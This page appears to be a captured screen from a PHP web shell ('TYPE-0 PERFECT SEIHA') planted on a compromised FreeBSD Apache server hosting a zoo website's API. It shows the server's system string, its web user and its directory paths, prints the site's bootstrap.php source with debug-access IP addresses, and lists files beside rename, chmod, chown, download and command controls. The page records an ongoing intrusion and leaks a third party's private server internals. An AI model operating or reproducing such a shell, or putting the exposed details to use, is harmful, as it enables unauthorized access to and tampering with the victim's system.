TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/bootstrap.php
<?php if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on"){ //ok } elseif($_SERVER['HTTP_HOST'] == 'www.fszoo.net') { header('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); } require __DIR__ . '/../vendor/autoload.php'; $configurator = new Nette\Configurator; $dev = current(explode(':', $_SERVER['HTTP_HOST'])) === 'localhost'; $configurator->setDebugMode(array( 'suchdol' => '90.180.164.78', 'loreal' => '62.77.88.137x' )); $configurator->enableDebugger(__DIR__ . '/../log'); \Tracy\Debugger::$showLocation = TRUE; if($dev) $configurator->setDebugMode(TRUE); $configurator->setTempDirectory(__DIR__ . '/../temp'); $configurator->createRobotLoader() ->addDirectory(__DIR__) ->addDirectory(__DIR__.'/../local_vendor') ->register(); $configurator->addConfig(__DIR__ . '/config/config.neon'); $configurator->addConfig(__DIR__ . '/config/zoo.neon'); if($dev) \Tracy\Debugger::$productionMode = FALSE; if($_SERVER['HTTP_HOST'] == 'www.fszoo.net') $configurator->addConfig(__DIR__ . '/config/environment/production.neon'); elseif($_SERVER['HTTP_HOST'] == 'localhost:8080') $configurator->addConfig(__DIR__ . '/config/environment/localhost.neon'); else throw new \Exception('Unknown host '.$_SERVER['HTTP_HOST']); $container = $configurator->createContainer(); //$container->getByType('RestServer\Application')->catchExceptions = \Tracy\Debugger::$productionMode ? TRUE : FALSE; ////if(!isset($_SERVER['HTTP_HOST'])) if(!$dev) $container->getByType('RestServer\Application')->catchExceptions = TRUE; header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With'); //header('Access-Control-Allow-Credentials: true'); //header('Access-Control-Allow-Headers: X-PINGOTHER'); header('Access-Control-Max-Age: 1728000'); header('Vary: Accept-Encoding, Origin'); return $container;
Crotin
Name
Size
Permissions
Modified
User/Group
router
-
0755
2016-01-11 22:58:10
Unknown/Unknown
RestApi
-
0755
2016-01-11 22:55:12
Unknown/Unknown
bootstrap.php
1958
0644
2018-07-10 17:52:37
Unknown/Unknown
Model
-
0755
2016-02-22 19:01:19
Unknown/Unknown
RouteListFactory.php
2486
0644
2016-02-27 09:49:59
Unknown/Unknown
config
-
0755
2018-07-10 17:52:58
Unknown/Unknown
application
-
0755
2016-06-15 21:45:21
Unknown/Unknown
Rest
-
0755
2016-02-27 09:38:08
Unknown/Unknown
presenters
-
0755
2016-01-11 22:58:07
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin